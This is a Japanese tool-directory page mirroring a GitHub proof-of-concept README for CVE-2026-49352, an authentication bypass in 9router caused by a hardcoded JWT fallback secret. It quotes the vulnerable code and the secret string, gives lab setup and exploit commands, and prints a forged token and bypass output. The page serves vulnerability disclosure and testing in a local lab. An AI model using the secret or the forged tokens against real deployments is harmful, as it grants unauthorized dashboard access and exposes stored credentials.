Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-49352-poc — CVE-2026-49352 のエクスプロイト可能性 PoC(9router Hardcoded JWT Secret Authentication Bypass) | Kitploit
ツール/GitHubGitHub/covepseng/cve-2026-49352-poc
認証と認可ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubcovepseng/cve-2026-49352-poc

cve-2026-49352-poc

CVE-2026-49352 のエクスプロイト可能性 PoC(9router Hardcoded JWT Secret Authentication Bypass)

リポジトリを見る
192ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-49352 — 9router ハードコードされたJWTシークレットによる認証バイパス

目次

  • 概要
  • 影響を受けるバージョン
  • 根本原因
  • 分析
  • リポジトリ構造
  • 要件
  • 使用方法
  • 期待される出力
  • 参考文献
  • 免責事項

概要

CVE-2026-49352 は、AI コーディングツール向けのセルフホスト型 Node.js/Next.js プロキシである 9router の脆弱性です。ダッシュボードセッション JWT は JWT_SECRET 環境変数から取得されるシークレットで署名されますが、この変数が設定されていない場合、ログインハンドラとリクエストガードは両方とも同じハードコードされたリテラルにフォールバックします。

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

この文字列は公開リポジトリにコミットされているため、まったくシークレットではありません。攻撃者はこのシークレットでトークンに署名し、認証されたダッシュボードユーザーとして扱われる可能性があります。


影響を受けるバージョン

影響範囲修正バージョン
0.2.21 – 0.4.410.4.45

根本原因

フォールバックシークレットは、2 つの独立したファイルで同じように定義されています。

src/app/api/auth/login/route.js — ログイン時にセッショントークンを発行します。

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setExpirationTime("24h")
  .sign(SECRET);

src/dashboardGuard.js — 保護されたリクエストごとにトークンを検証します。

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

async function hasValidToken(request) {
  const token = request.cookies.get("auth_token")?.value;
  if (!token) return false;
  try {
    await jwtVerify(token, SECRET);
    return true;
  } catch {
    return false;
  }
}

hasValidToken() の成功が、/dashboard および ALWAYS_PROTECTED にリストされたエンドポイント(/api/settings/database を含む)へのアクセスを許可するための唯一のチェック条件です。セッションレコードの検索やトークンの発信元検証は行われません。有効な署名が身元証明として扱われます。


分析

このバイパスは、影響を受けるコードベースのビルドに対して確認および再現可能です。JWT_SECRET が設定されていない場合:

[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed

[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200

デプロイの形状が重要

この脆弱性は、オペレーターが JWT_SECRET を一度も設定しなかった場合にのみ発現します。これは、環境設定手順をスキップするほとんどのクイックスタート/Docker 実行デプロイでデフォルトとなります。JWT_SECRET を明示的にランダムな値に設定したデプロイは、SECRET がモジュールロード時に一度だけ導出され、フォールバックが発生しないため、影響を受けません。


リポジトリ構造

cve-2026-49352-poc/
├── dockerfile                   # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml           # build + run, JWT_SECRET intentionally omitted
└── exploit/
    ├── go.mod                   # requires github.com/golang-jwt/jwt/v5
    └── exploit.go                # PoC — Go

要件

ツールバージョン備考
Podman≥ 4.0podman-compose が必要
Go≥ 1.22エクスプロイトをローカルで実行するため

外部 Go 依存関係: github.com/golang-jwt/jwt/v5。


使用方法

1. コンテナのビルドと起動

podman-compose build
podman-compose up -d

アプリが起動完了を報告するのを待ってから、確認します。

curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)

2. エクスプロイトの実行

cd exploit
go run exploit.go -target http://localhost:20128

-probe を追加すると、偽造した Cookie で /api/settings/database もリクエストします。

go run exploit.go -target http://localhost:20128 -probe

利用可能なフラグ:

フラグデフォルト値説明
-targethttp://localhost:201289router インスタンスのベースURL
-secret9router-default-secret-change-me偽造に使用する JWT フォールバックシークレット
-ttl36 * 365 * 24h偽造トークンの有効期間
-probefalse/api/settings/database もリクエストするか

3. クリーンアップ

podman-compose down -v

期待される出力

[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}

参考文献

リソースリンク
アドバイザリGHSA-jphh-m39h-6gwx
脆弱性のあるリポジトリdecolua/9router
分析記事(ブログ)return-zero.dev/posts/cve-2026-49352

免責事項

このリポジトリは教育目的およびローカルでのエクスプロイト可能性分析のみを意図しています。すべてのテストはセルフホストのコンテナ環境に対して実施されました。所有していない、または明示的な書面によるテスト許可がないシステムに対してこの PoC を実行しないでください。

ツールをダウンロード